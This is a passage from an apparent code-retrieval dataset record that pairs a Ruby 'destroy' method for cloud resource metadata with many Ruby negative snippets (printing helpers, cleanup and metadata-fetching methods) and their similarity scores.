top_bottom = \"+-\" + multi_char(length, \"-\") + \"-+\"\n padding = \"| \" + multi_char(length, \" \") + \" |\"\n line = \"| \" + string + \" |\"\n puts top_bottom, padding, line, padding, top_bottom\nend", "def tprint(string)\n @window.addstr(string)\n end", "def print\r\n puts name + \" \" + className + \" says \" + \"\\\"\" + call + \"\\\"\"\r\n end", "def print\n puts to_s\n end", "def say(str)\n \"=> #{str}\"\nend", "def print(message); end", "def print(message); end", "def welcome_explainer\n name = \" Legislature Information on Bills and Sponsors \"\n print ColorizedString[\"_/\\\\_\"].white.on_blue \n puts ColorizedString[name.center(name.length)].black.on_white\n print ColorizedString[\"\\\\/\\\\/\"].white.on_blue \n puts ColorizedString[\"(from Open States API v1)\".center(name.length)].white.on_red\nend", "def tab a_string\n print \"\\t\"\n puts a_string\n end", "def puts(str = \"\")\n # {{{\n self.print(str + \"\\n\")\n # }}}\n end", "def message(string)\n puts\n puts \"--> #{ string }\"\nend", "def message(string)\n puts\n puts \"--> #{ string }\"\nend", "def message(string)\n puts\n puts \"--> #{ string }\"\nend", "def allcaps(string)\n if string.length > 10\n puts string.upcase # solution does not use puts here but down below as part\n else # of the method call --> puts allcaps(\"hello world\")\n puts string # I think i like this version better, saves writing puts so many times\n end\nend", "def echo( word )\n word\nend", "def sputs(str)\n puts str unless @simple_output\n end", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_passing_test\n Kernel.print \".\".green\n end", "def print_a_line(printer, string)\n printer.print_line string\nend", "def print(str: T.unsafe(nil), lang: T.unsafe(nil)); end", "def print\n puts @text\n end", "def print_name(name)\n puts \"Albus Dumbledore\"\nend", "def puts! args, label=\"\"\n puts \"+++ +++ #{label}\"\n puts args.inspect\nend", "def say(output)\n puts \"===> #{output} <===\"\nend", "def what_is code\n print \"#{code}: \"\n puts(opcodes[add_underline(code)] || 'undefined')\nend", "def print\n\t\tputs name + ' ' + className + \" just \" + move + \" and said \" + call\n\tend", "def say something\n puts dude_format something\n end", "def safe_puts(text, color=nil)\n CLIColorize.safe_puts(text, color)\n end", "def string() end", "def echo(word)\n\treturn word\nend", "def print_in_box(string)\n\tnum = '-' * string.size\n\tspace = ' ' * string.size\n\tp \"+-#{num}-+\"\n\tp \"| #{space} |\"\n\tp \"| #{string} |\"\n\tp \"| #{space} |\"\n\tp \"+-#{num}-+\"\nend", "def print_name(name)\n p \"BILLY!!!!!\"# YOUR CODE HERE\nend", "def print_dictionary\n output = ''\n for key, value in @strings\n output << \"====================\\n\"\n output << \"#{key}\\n\"\n output << \"--------------------\\n\"\n output << \"#{value}\\n\"\n end\n puts output\n end", "def echo(str)\n p str\nend", "def printable\r\n list = @@words.to_a.sort.map {|word,definition| \"[#{word}] \\\"#{definition}\\\"\"}\r\n list.join(\"\\n\")\r\nend", "def print_in_box(str)\n length = str.size\n print \"+-#{\"-\" * length}-+\\n\"\n print \"| #{\" \" * length} |\\n\"\n print \"| #{str} |\\n\"\n print \"| #{\" \" * length} |\\n\"\n print \"+-#{\"-\" * length}-+\\n\"\nend", "def puts_blue(string)\n puts \"\\033[34m\" + string + \"\\033[0m\"\nend", "def display_string\n op_match = /#{SORTEDOPS.map { |o| Regexp.quote(o) }.join(\"|\")}/\n popen = Regexp.quote(OPEN_PAREN)\n pclose = Regexp.quote(CLOSE_PAREN)\n text = self.to_s\n text.gsub(/#{popen}(.*?)#{pclose}/) { |m|\n payload = $1.dup\n count = 0\n payload.gsub(op_match) do |pm|\n count += 1\n pm\n end\n if count == 1\n payload.strip\n else\n OPEN_PAREN + payload.strip + CLOSE_PAREN\n end\n }.strip\n end" ]
[ "0.66480553", "0.64950675", "0.6160164", "0.6108199", "0.6082032", "0.6071154", "0.6039109", "0.6009597", "0.59706074", "0.5941802", "0.5915249", "0.5911708", "0.58542436", "0.58384925", "0.58263177", "0.58236414", "0.58164465", "0.58119774", "0.5806907", "0.5804204", "0.5782591", "0.57815033", "0.57759154", "0.5767677", "0.57661396", "0.57575923", "0.57453334", "0.57406557", "0.57385546", "0.5729523", "0.5720468", "0.57185924", "0.5718142", "0.5711388", "0.5706622", "0.5692741", "0.5685654", "0.56688464", "0.5657123", "0.56552494", "0.5652363", "0.5651017", "0.5625064", "0.5623779", "0.5623578", "0.5616488", "0.5616488", "0.5611921", "0.56076485", "0.560265", "0.560255", "0.5599058", "0.55958587", "0.55863935", "0.5583574", "0.5582737", "0.5580267", "0.5579817", "0.557949", "0.5576437", "0.5573585", "0.5571837", "0.55647117", "0.5557228", "0.5556717", "0.5556717", "0.5549172", "0.5541985", "0.55369854", "0.5536509", "0.5536509", "0.5536509", "0.5532337", "0.55299944", "0.55297726", "0.5524339", "0.5524339", "0.5524339", "0.5524339", "0.5524339", "0.55089533", "0.55058134", "0.5501846", "0.54990184", "0.5498398", "0.5497107", "0.54944915", "0.548222", "0.54779524", "0.5475698", "0.5474664", "0.5474276", "0.5472884", "0.54660845", "0.54659116", "0.54642725", "0.5463783", "0.54569894", "0.5455171", "0.5450719", "0.5448594" ]
0.0
-1
Remove all metadata and cloud resources associated with this object
def destroy if [email protected]? and [email protected]? @cloudobj.groomer.cleanup elsif [email protected]? @groomer.cleanup end if [email protected]? if [email protected]? and [email protected]? and [email protected]_name.nil? @deploy.notify(self.class.cfg_plural, @config['name'], nil, mu_name: @cloudobj.mu_name, remove: true, triggering_node: @cloudobj, delayed_save: @delayed_save) elsif !@mu_name.nil? @deploy.notify(self.class.cfg_plural, @config['name'], nil, mu_name: @mu_name, remove: true, triggering_node: self, delayed_save: @delayed_save) end @deploy.removeKitten(self) end # Make sure that if notify gets called again it won't go returning a # bunch of now-bogus metadata. @destroyed = true if [email protected]? def @cloudobj.notify {} end else def notify {} end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clear\r\n @resources.clear\r\n end", "def cleanup\n self.objectives.destroy_all\n end", "def before_destroy\n super\n self.remove_all_owners\n self.remove_all_members\n self.remove_all_account_configs\n self.delete_all_custom_services\n end", "def clear\n @object_id_to_object.clear\n registered_exceptions.clear\n manager.clear\n end", "def destroy\n resources = find_resources_by_tag\n\n destroy_instance(resources)\n destroy_security_group(resources)\n destroy_subnet(resources)\n destroy_route_table(resources)\n\n nil\n end", "def clear\n @metadata = {}\n clear_cache\n end", "def clear\n if loaded?\n orphan_resources(self)\n end\n super\n end", "def cleanup\n @models.reverse_each(&:destroy_all)\n end", "def cleanup\n cleanup_nonces\n cleanup_associations\n end", "def remove!\n self.results.each{ |r| r.remove! }\n self.metadata.remove!\n end", "def wipe!\n resource_factory.orm_class.delete_all\n end", "def reset\n [topics, queues, subscriptions].each do |resource|\n resource.values.each(&:delete)\n resource.clear\n end\n end", "def clear\n @resource = nil\n end", "def cleanup\n FileUtils.rm(autoinst_path, force: true)\n FileUtils.rm(definition_path, force: true)\n FileUtils.rm(libvirt_definition_path, force: true)\n if provider == :libvirt\n # Due a bug in vagrant-libvirt the images will not cleanuped correctly\n # in the /var/lib/libvirt directory. This has to be done manually\n # (including DB update)\n system \"sudo virsh vol-delete #{IMAGE_BOX_NAME} default\"\n end\n end", "def remove\n remove_checkpoints\n remove_config\n remove_hiera_template\n end", "def destroy_all\n all.each(&:destroy)\n end", "def destroy_all\n all.each(&:destroy)\n end", "def destroy\n all.each { |file| FileUtils.rm_f(file) }\n end", "def destroy_all\n all.each do |n|\n n.destroy\n end\n end", "def purge\n self.files.each do |f|\n f.destroy\n end\n self.commits.each do |c|\n c.destroy\n end\n end", "def destroy_everything\n destroy_user_key_columns\n destroy_user_key_organizations\n destroy_whitelists\n destroy_approvals\n destroy_user_keys\n destroy_users\n destroy_comments\n destroy_filters\n destroy_columns\n destroy_organizations\n end", "def cleanup!\n FileUtils.rm_rf(obsolete_files)\n FileUtils.rm_rf(metadata_file) unless @site.incremental?\n end", "def destroy_resource_content\n resource_content\n end", "def purge!\n\n fetch_all({}).each { |hwi| @context.storage.delete(hwi) }\n end", "def remove\n unrealize\n remove_from_dependencies\n remove_from_dependents\n end", "def destroy\n assert_keys_present!\n metal_scope.delete\n transient!\n self\n end", "def destroy!\n orchio_purge\n end", "def delete_all\n @objects.each do |o|\n o.delete \n end\n\n @objects.clear\n end", "def remove_all\n @owner.transaction do\n self.each { |obj| @owner.send(@remove_proc, obj) }\n end\n @members.clear\n @loaded = false # gmosx: IS this needed?\n end", "def delete_all\n @configuration = nil\n end", "def delete_all\n @configuration = nil\n end", "def destroy_all\n each(&:destroy_all)\n end", "def destroy\n debug('Removing clone')\n cmd = [command(:crm), '-w', 'resource', 'stop', @resource[:name]]\n self.class.run_command_in_cib(cmd, @resource[:cib], false)\n cmd = [command(:crm), 'configure', 'delete', @resource[:name]]\n self.class.run_command_in_cib(cmd, @resource[:cib])\n @property_hash.clear\n end", "def clean()\n rels = releases()\n rels.pop()\n\n unless rels.empty?\n rm = ['rm', '-rf'].concat(rels.map {|r| release_dir(r)})\n rm << release_dir('skip-*')\n cmd.ssh(rm)\n end\n end", "def cleanup_created_resources\n # Avoid the use of any short circuiting folds.\n cleanup_commands.reverse.inject(true) { |accum, x| accum && x.cleanup }\n end", "def finalize\n @list.each do |bp|\n bp.related_bp.each { |bp| bp.remove! }\n bp.remove!\n end\n clear\n end", "def destroy_dependents\n self.clouds.each do |cloud| cloud.destroy end\n self.groups.each do |group| group.destroy end\n self.roles.each do |role| role.destroy end\n self.recipes.each do |recipe| recipe.destroy end\n self.questions.each do |question| question.destroy end\n end", "def destroy\n object_data.each {|o| ObjectDatum.find_by_guid(o.guid).destroy if o && ObjectDatum.find_by_guid(o.guid)}\n super\n end", "def destroy_content_objects\n content_objects.map { |x| x.destroy } \n end", "def cleanup\n Util.rm_if_necessary(headers_path)\n Util.rm_if_necessary(body_path)\n end", "def destroy\n if self.class.cfg_name == \"server\"\n begin\n ip = canonicalIP\n MU::Master.removeIPFromSSHKnownHosts(ip) if ip\n if @deploy and @deploy.deployment and\n @deploy.deployment['servers'] and @config['name']\n me = @deploy.deployment['servers'][@config['name']][@mu_name]\n if me\n [\"private_ip_address\", \"public_ip_address\"].each { |field|\n if me[field]\n MU::Master.removeIPFromSSHKnownHosts(me[field])\n end\n }\n if me[\"private_ip_list\"]\n me[\"private_ip_list\"].each { |private_ip|\n MU::Master.removeIPFromSSHKnownHosts(private_ip)\n }\n end\n end\n end\n rescue MU::MuError => e\n MU.log e.message, MU::WARN\n end\n end\n if [email protected]? and [email protected]?\n @cloudobj.groomer.cleanup\n elsif [email protected]?\n @groomer.cleanup\n end\n if [email protected]?\n if [email protected]? and [email protected]? and [email protected]_name.nil?\n @deploy.notify(self.class.cfg_plural, @config['name'], nil, mu_name: @cloudobj.mu_name, remove: true, triggering_node: @cloudobj, delayed_save: @delayed_save)\n elsif !@mu_name.nil?\n @deploy.notify(self.class.cfg_plural, @config['name'], nil, mu_name: @mu_name, remove: true, triggering_node: self, delayed_save: @delayed_save)\n end\n @deploy.removeKitten(self)\n end\n # Make sure that if notify gets called again it won't go returning a\n # bunch of now-bogus metadata.\n @destroyed = true\n if [email protected]?\n def @cloudobj.notify\n {}\n end\n else\n def notify\n {}\n end\n end\n end", "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each(&:delete_all)\n end", "def destroy_all\n destroy(load_target).tap do\n reset\n loaded!\n end\n end", "def destroy_cascade\n self.save\n self.children.each do |child|\n child.destroy_cascade\n end\n self.asset_ws_files.destroy\n self.permissions.destroy\n self.changes.destroy\n self.destroy\n end", "def clear!\n BULK_APIS.keys\n .each { |key| redis.del(redis_key(key)) }\n end", "def destroy\n super\n\n @children.each do |_child_name, child_group|\n child_group.each(&:destroy)\n end\n\n @children = {}\n end", "def cleanup\n end", "def cleanup\n end", "def clear_objects\n @scene_objects.each_key do |key|\n @scene_objects[key].remove\n @scene_objects.delete(key)\n end\n @collider.remove_all\n end", "def destroy\n clear_cached_vars\n Regulate::Git::Interface.delete({\n :id => id,\n :commit_message => commit_message || \"Deleting resource #{title}\",\n :author_name => author_name,\n :author_email => author_email\n })\n end", "def destroy_all\n objs = target\n source.update_attribute(source_attribute, nil)\n objs.each(&:destroy)\n end", "def clean_remote!\n resp = @connection.get_bucket(\n @storage.bucket, prefix: File.dirname(@remote_path)\n )\n keys = resp.body['Contents'].map {|item| item['Key'] }\n\n @connection.delete_multiple_objects(@storage.bucket, keys) unless keys.empty?\n end", "def destroy_all\n if resource.tags&.any?\n deleted_tags = resource.tags\n resource.tags = []\n resource.save!\n end\n\n render json: { tags: resource.tags, deleted_tags: deleted_tags || [] }\n end", "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each {|x| x.delete_all}\n end", "def truncate_all\n Content::Version.all.map(&:destroy)\n ContentKey::Version.all.map(&:destroy)\n Content.all.map(&:destroy)\n ContentKey.all.map(&:destroy)\n end", "def cleanup\n @logger.notify \"Cleaning up OpenStack\"\n @vms.each do |vm|\n cleanup_storage(vm)\n @logger.debug \"Release floating IPs for OpenStack host #{vm.name}\"\n floating_ips = vm.all_addresses # fetch and release its floating IPs\n floating_ips.each do |address|\n @compute_client.disassociate_address(vm.id, address['ip'])\n @compute_client.release_address(address['id'])\n end\n @logger.debug \"Destroying OpenStack host #{vm.name}\"\n vm.destroy\n if @options[:openstack_keyname].nil?\n @logger.debug \"Deleting random keypair\"\n @compute_client.delete_key_pair vm.name\n end\n end\n end", "def destroy\n # remove this model from the model tree\n parent.try(:remove_descendant, self)\n mixins.each {|mixin| mixin.remove_descendant(self)}\n \n # destroy model subclasses, and all record instances\n children.each(&:destroy)\n all.each(&:destroy)\n \n # remove the association between the site and this model\n site.model_types.delete(name.underscore.pluralize)\n site.model_plural_names.delete(name)\n site.save\n \n # remove any remaining indexes\n indexes.each do |name|\n RecordIndex.remove_index_for_model(self, name)\n end\n \n record_fields.each do |name, field|\n RecordIndex.remove_index_for_field(self, field) if field.index?\n end\n \n # destroy the model record\n super\n end", "def clean\n\t\t\n\t\[email protected] 'twitter'\n\t\[email protected] 'rpg'\n\t\n\tend", "def destroy_all(conditions = nil)\n find_all(conditions).each { |object| object.destroy }\n end", "def delete_all\n target.clear\n end", "def destroy\n clear\n save\n end", "def delete_all\n self.destroy\n end", "def clear\n return self if empty?\n\n entities = @entities.dup\n inverse_metadata = metadata.inverse_metadata\n\n @entities.clear\n\n entities.each do |deleted|\n if inverse_metadata\n deleted.send(inverse_metadata.writer_name, nil)\n end # if\n end # each\n\n self\n end", "def destroy\n delete_files_and_empty_parent_directories\n end", "def finalize\n Pez.destroy_all\n Comida.destroy_all\n Tiburon.destroy_all\n end", "def destroy\n @resource_pool_master.destroy\n @resource_pool_masters = ResourcePoolMaster.all\n end", "def destroy\n delete\n freeze\n end", "def reset!\n logs.remove\n features.remove\n users.remove\n end", "def delete\n stop\n [ @resource['instances_dir'] + \"/\" + @resource[:name],\n @resource['instances_dir'] + \"/\" + \"_\" + @resource[:name]\n ].each do |dir|\n FileUtils.rm_rf(dir) if File.directory?(dir)\n end\n end", "def delete\n resource.delete_tags([self])\n nil\n end", "def purge\n return nullify unless _association.destructive?\n\n after_remove_error = nil\n criteria.delete_all\n many = _target.clear do |doc|\n execute_callback :before_remove, doc\n unbind_one(doc)\n doc.destroyed = true\n begin\n execute_callback :after_remove, doc\n rescue StandardError => e\n after_remove_error = e\n end\n end\n\n raise after_remove_error if after_remove_error\n\n many\n end", "def destroy_resource(object)\n object.destroy\n end", "def cleanup_files(resource)\n remove_public_dir(resource) # where the local manifest file is stored\n remove_s3_data_files(resource)\n rescue StandardError => e\n msg = \"An unexpected error occurred when cleaning up files for resource #{resource.id}: \"\n msg << e.full_message\n logger.warn(msg)\n end", "def finalize\n @entities.clear\n end", "def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end", "def clean_up\n @files.each {|file| FileUtils.remove(file.path)}\n end", "def cleanup\r\n end", "def cleanup\n FileUtils.rm_f(@path)\n delete\n end", "def destroy_all\n repositories.each {|name, repo| repo.destroy}\n end", "def destroy\n onetemplate('delete', resource[:name])\n @property_hash.clear\n end", "def clean_document!\n self.questions.destroy_all\n self.comments.destroy_all\n self.timeline_events().each{|event| event.destroy}\n self.document_items.each{|item| item.timeline_events.destroy_all}\n end", "def delete!\n self.class._mwares.delete(name)\n self.class._before.delete(name)\n self.class._after.delete(name)\n self.class._central_mwares.delete(name)\n self\n end", "def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end", "def destroy\n FileUtils.rm_rf @root\n end", "def teardown\n delete_goo_models(LinkedData::Models::Project.all)\n delete_goo_models(LinkedData::Models::Ontology.all)\n delete_goo_models(LinkedData::Models::User.all)\n @projectParams = nil\n @user = nil\n @ont = nil\n @p = nil\n end", "def clear_attributes\n @attributes = nil\n end", "def destroy_associations\n end", "def clear_garbage\n self.tmp_garbage.each do |relation, record|\n if record.is_a? Array\n record.each { |r| r.destroy }\n else\n record.destroy\n end\n end if self.tmp_garbage.present?\n self.tmp_garbage = {}\n end", "def clear!\n @documents = {}\n @attributes = {}\n @lookup_map = nil\n @all_loaded = false\n @all = []\n end", "def delete_all\n @owner.transaction do\n self.each { |obj| obj.delete }\n end\n @members.clear\n end", "def destroy\n if attached?\n self.storage.destroy(self.path)\n self.styles.each do |style, options|\n self.storage.destroy(self.path(style))\n end\n end\n @purge = []\n @queue = {}\n end", "def delete_all_tags\n delete_tags(self.tags)\n nil\n end", "def clear\n if namespace\n keys.each do |key|\n delete(key)\n end\n delete(KEYS_ADDRESS)\n else\n database.clear\n end\n end", "def clear_bucket\n as_name_array.each { |object_to_delete| remove_data(object_to_delete) }\n end", "def delete_all\n super\n Rails.cache.delete_matched(/#{self.configure.cache.namespace}/)\n end", "def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end", "def delete\n\t\tcurrent_user\n\t\tcurrent_user.regexpressions.destroy_all\n\t\tcurrent_user.tasks.destroy_all\n\t\tcurrent_user.clouds.destroy_all\n\t\tcurrent_user.platforms.destroy_all\n\t\tcurrent_user.demos.destroy_all\n\t\tcurrent_user.favorites.destroy_all\n\tend", "def cleanup\n keys = redis.keys(raw_data_key('*')) + redis.keys(data_key('*'))\n multi do\n keys.each{|key| redis.del(key)}\n end\n super\n end", "def smart_destroy!\n # see if it's on the file system and destroy it if it's there\n s3_key = calc_s3_path\n Stash::Aws::S3.delete_file(s3_key: s3_key) if !s3_key.blank? && Stash::Aws::S3.exists?(s3_key: s3_key)\n\n if in_previous_version?\n # destroy any others of this filename in this resource\n self.class.where(resource_id: resource_id, upload_file_name: upload_file_name).where('id <> ?', id).destroy_all\n # and mark to remove from merritt\n update(file_state: 'deleted')\n else\n # remove all of this filename for this resource from the database\n self.class.where(resource_id: resource_id, upload_file_name: upload_file_name).destroy_all\n end\n\n resource.reload\n end", "def remove_all_images\n self.cover_image.purge if self.cover_image.attached?\n self.images.each {|image| image.purge} if self.images.attached?\n end" ]
[ "0.7032609", "0.70075995", "0.6844842", "0.67235875", "0.6597906", "0.65899825", "0.6572161", "0.65710497", "0.65578175", "0.65307754", "0.65224427", "0.6491524", "0.64746004", "0.6470902", "0.6460612", "0.6445363", "0.6432943", "0.6400638", "0.6383446", "0.63720167", "0.6366217", "0.63660115", "0.63551015", "0.6336238", "0.63199097", "0.6316888", "0.6304912", "0.6277466", "0.6255914", "0.6253554", "0.6253554", "0.624174", "0.62325525", "0.6227693", "0.62270314", "0.62241554", "0.6221662", "0.61931837", "0.61925244", "0.6164958", "0.6151969", "0.615064", "0.6144675", "0.613714", "0.61319494", "0.6119044", "0.61077106", "0.61077106", "0.6107302", "0.6095721", "0.6091709", "0.60843575", "0.6080685", "0.60781574", "0.6074191", "0.6064509", "0.60635525", "0.60615206", "0.6058391", "0.6049465", "0.60367465", "0.6030522", "0.60264057", "0.6024495", "0.6017719", "0.6017168", "0.60154736", "0.60148394", "0.6014177", "0.6010502", "0.6007396", "0.6001965", "0.59968174", "0.59956", "0.5985809", "0.5979378", "0.59785575", "0.5975391", "0.5974392", "0.59710497", "0.59580344", "0.59559596", "0.5954075", "0.5944555", "0.5941757", "0.5941361", "0.5938491", "0.59378284", "0.5936909", "0.59366035", "0.5930985", "0.593038", "0.5926119", "0.5919372", "0.5913313", "0.5911183", "0.5903293", "0.5901359", "0.5899306", "0.5896127" ]
0.6458706
15
Retrieve all of the known metadata for this resource.
def describe(cloud_id: nil, update_cache: false) if cloud_id.nil? and [email protected]? @cloud_id ||= @cloudobj.cloud_id end res_type = self.class.cfg_plural res_name = @config['name'] if [email protected]? @credentials ||= @config['credentials'] if [email protected]? deploydata = nil if [email protected]? and @deploy.is_a?(MU::MommaCat) and [email protected]? and [email protected][res_type].nil? and [email protected][res_type][res_name].nil? deploydata = @deploy.deployment[res_type][res_name] else # XXX This should only happen on a brand new resource, but we should # probably complain under other circumstances, if we can # differentiate them. end if self.class.has_multiples and !@mu_name.nil? and deploydata.is_a?(Hash) and deploydata.has_key?(@mu_name) @deploydata = deploydata[@mu_name] elsif deploydata.is_a?(Hash) @deploydata = deploydata end if @cloud_id.nil? and @deploydata.is_a?(Hash) if @mu_name.nil? and @deploydata.has_key?('#MU_NAME') @mu_name = @deploydata['#MU_NAME'] end if @deploydata.has_key?('cloud_id') @cloud_id ||= @deploydata['cloud_id'] else # XXX temp hack to catch old Amazon-style identifiers. Remove this # before supporting any other cloud layers, otherwise name # collision is possible. ["group_id", "instance_id", "awsname", "identifier", "vpc_id", "id"].each { |identifier| if @deploydata.has_key?(identifier) @cloud_id ||= @deploydata[identifier] if @mu_name.nil? and (identifier == "awsname" or identifier == "identifier" or identifier == "group_id") @mu_name = @deploydata[identifier] end break end } end end return [@mu_name, @config, @deploydata] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def metadata\n if any? && metadata_schema\n response = api('request',\n :uri => \"hm://metadata/#{resource_name}s\",\n :batch => true,\n :payload => map {|resource| {:uri => resource.metadata_uri}},\n :response_schema => metadata_schema\n )\n response['result']\n else\n []\n end\n end", "def metadata\n return @metadata unless @metadata.nil?\n @metadata = fetch_metadata\n configure_with_metadata(@metadata)\n @metadata\n end", "def metadata\n api_get(\"$metadata\").body\n end", "def metadata\n @metadata ||= {}\n end", "def attributes\n @metadata\n end", "def read_metadata\n @client.get(metadata_path)\n end", "def metadata\n @metadata\n end", "def metadata\n @metadata ||= lambda { read_metadata }.call\n end", "def metadata\n @metadata ||= lambda { read_metadata }.call\n end", "def metadata\n @meta_data\n end", "def metadata\n return @metadata if defined? @metadata\n\n @metadata = Henkei.read :metadata, data\n end", "def metadata\n return @metadata if defined? @metadata\n\n @metadata = Henkei.read :metadata, data\n end", "def metadata\n @data[:metadata]\n end", "def metadata\n attributes['metadata'] ||= {}\n attributes['metadata']\n end", "def metadata\n self[:metadata] || {}\n end", "def metadata\n return @metadata\n end", "def metadata\n return @metadata\n end", "def fetch_metadata\n {\n \"public_fqdn\" => fetch_metadata_item(\"getFullyQualifiedDomainName.txt\"),\n \"local_ipv4\" => fetch_metadata_item(\"getPrimaryBackendIpAddress.txt\"),\n \"public_ipv4\" => fetch_metadata_item(\"getPrimaryIpAddress.txt\"),\n \"region\" => fetch_metadata_item(\"getDatacenter.txt\"),\n \"instance_id\" => fetch_metadata_item(\"getId.txt\"),\n }\n end", "def metadata\n @metadata ||= {}\n end", "def metadata\n return unless self[:metadata]\n\n self[:metadata].deep_symbolize_keys\n end", "def metadata\n if config.metadata.include?(:all)\n [:pid, :date, :time, :file]\n else\n config.metadata\n end\n end", "def metadata\n if config.metadata.include?(:all)\n [:pid, :date, :time, :file]\n else\n config.metadata\n end\n end", "def read_metadata; end", "def get_metadata(*args)\n self.metadata.get(*args)\n end", "def metadata\n self.class.metadata\n end", "def metadata\n @metadata ||= Mash.new\n end", "def metadata\n log \"retrieving container metadata from #{container_path}\"\n response = storage_client.head(container_path)\n custom = {}\n response.each_capitalized_name { |name|\n custom[name] = response[name] if name[/\\AX-Container-Meta-/]\n }\n {\n :objects => response[\"X-Container-Object-Count\"].to_i,\n :bytes => response[\"X-Container-Bytes-Used\"].to_i,\n :custom => custom,\n }\n end", "def all\n describe(resource_uri)\n end", "def metadata\n DatasetService.get_metadata dataset_id\n end", "def metadata\n configuration.metadata\n end", "def metadata\n @metadata ||= Metadata.new(self)\n end", "def metadata\n hash.inject([]){ |list, data| list << MetaData.new(data[0], data[1][0]) }\n end", "def metadata\n value_of(:metadata, JSON.method(:pretty_generate), '{}')\n end", "def get_metadata\n DatasetService.get_metadata self.dataset_id\n end", "def object_definition_metadata\n version = self.api_version.nil? ? 'latest' : self.api_version\n response = ap_client(version).metadata.fetch\n\n Rails.logger.info \"response: \" + response.inspect\n parsed_json = []\n case response.status\n when 200\n begin\n parsed_json = ActiveSupport::JSON.decode(response.body)\n rescue MultiJson::DecodeError\n raise \"Unable to decode the JSON message.\"\n end\n else\n raise \"Unable to get a response.\"\n end\n\n parsed_json\n end", "def metadata\n { :attributes => @attributes, \n :qualified_attributes => @qualified_attributes, \n :collections => @collections, \n :flatten => @flatten, \n :namespaces => @namespaces, \n :types => @types }\n end", "def get_metadata\n get_state.map do |get_state_resp|\n metadata = get_state_resp.dig(:data, :identity_state, :metadata)\n if metadata\n metadata.transform_values { |val| Utils.parse_string_or_byte_val(val) }\n else\n metadata\n end\n end\n end", "def metadata_schema\n resource_class.metadata_schema\n end", "def get_drive_metadata\n execute!(drive.about.get).data\n end", "def rdf_metadata\n @rdf_metadata ||= Valkyrie::Persistence::Shared::JSONValueMapper.new(object[:metadata]).result\n end", "def metadata\n self.class.metadata[__name__] || {}\n end", "def object_definition_metadata\n version = @account.api_version.nil? ? 'latest' : @account.api_version\n response = ap_client(version).metadata.fetch\n\n Rails.logger.info \"response: \" + response.inspect\n parsed_json = []\n case response.status\n when 200\n begin\n parsed_json = ActiveSupport::JSON.decode(response.body)\n rescue MultiJson::DecodeError\n raise \"Unable to decode the JSON message.\"\n end\n else\n raise \"Unable to get a response.\"\n end\n\n parsed_json\n end", "def metadata\n @metadata.tap do |h|\n # This represents the minimal set of attribute methods that should be available in every subclass.\n h[:mime_type] = mime_type if mime_type\n h[:filename] = filename if filename\n h[:digest] = digest if digest\n h[:size] = size if size\n h[:last_modified] = last_modified if last_modified\n end\n end", "def get_meta(name)\n path = \"/projects/#{project.name}/resources/#{name}\"\n resp = client.head(path)\n build_resource(resp)\n end", "def metadata\r\n self.class.service_instance.get_blob_properties(path)\r\n end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def get_all_sources_info\n source_info = {}\n METADATA_FIELDS.keys.each { |ns|\n source_info[ns] = get_metadata_source_info(ns)\n }\n source_info\n end", "def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end", "def metadata\n {\n title: flickr_title,\n description: description\n }\n end", "def extract_metadata; end", "def metadata\n @metadata ||= Metaforce::Metadata::Client.new(@options)\n end", "def get_metadata(resource_uri)\n log \"get_metadata for #{resource_uri}\"\n get \"#{resource_uri}/fcr:metadata\", \"text/plain\" \n end", "def read_metadata\n raise NotImplementedError.new 'This is only a function body for documentation'\n end", "def metadata(namespace: :default)\n @empty_collection\n end", "def metadata\n response = retrieve_metadata\n return response.body unless response.nil? || response.status == 404\n Geoblacklight.logger.error \"Could not reach #{@reference.endpoint}\"\n \"Could not reach #{@reference.endpoint}\"\n end", "def metadata\n Metadata.new(self)\n end", "def metadata\n parse_tarball_metadata do |parsing_errors, metadata|\n if parsing_errors.any?\n Metadata.new\n else\n metadata\n end\n end\n end", "def metadata\n data = oembed || {}\n attributes.each do |attribute|\n if attribute_value = self.send(attribute)\n data[attribute] ||= attribute_value\n end\n end\n data\n end", "def object_metadata(key)\n object_path = File.join(container_path, Raca::Util.url_encode(key))\n log \"Requesting metadata from #{object_path}\"\n\n response = storage_client.head(object_path)\n {\n :content_type => response[\"Content-Type\"],\n :bytes => response[\"Content-Length\"].to_i\n }\n end", "def metadata\n return @metadata if @metadata\n return nil unless value\n value.each do |source|\n begin\n if data = Puppet::FileServing::Metadata.indirection.find(source)\n @metadata = data\n @metadata.source = source\n break\n end\n rescue => detail\n fail detail, \"Could not retrieve file metadata for #{source}: #{detail}\"\n end\n end\n fail \"Could not retrieve information from environment #{Puppet[:environment]} source(s) #{value.join(\", \")}\" unless @metadata\n @metadata\n end", "def metadata\n {:definitions => representer_attrs.grep(Definition).map {|definition| definition.name},\n :links => representer_attrs.grep(Link).map {|link| link.options[:as] ? {link.rel => {'as' => link.options[:as]}} : link.rel}\n }\n end", "def get_all_works_metadata\n ActiveFedora::SolrService.query(\"active_fedora_model_ssi:#{self.class}\",\n {:rows => ActiveFedora::SolrService.count(\"active_fedora_model_ssi:#{self.class}\"), :fl => 'id search_result_title_tsi'})\n end", "def metadata\n out_hash = {}.with_indifferent_access\n %i[doi upload_type publication_date title creators description access_right license\n keywords notes related_identifiers method locations communities].each do |meth|\n next if meth == 'doi' && @dataset_type != :data\n\n result = send(meth)\n out_hash[meth] = result unless result.blank?\n end\n out_hash\n end", "def metadata\n Hash.from_xml(self[:metadata])['hash']\n end", "def rdf_metadata\n @rdf_metadata ||= RDFMetadata.new(orm_object.metadata).result\n end", "def metadata\n result = 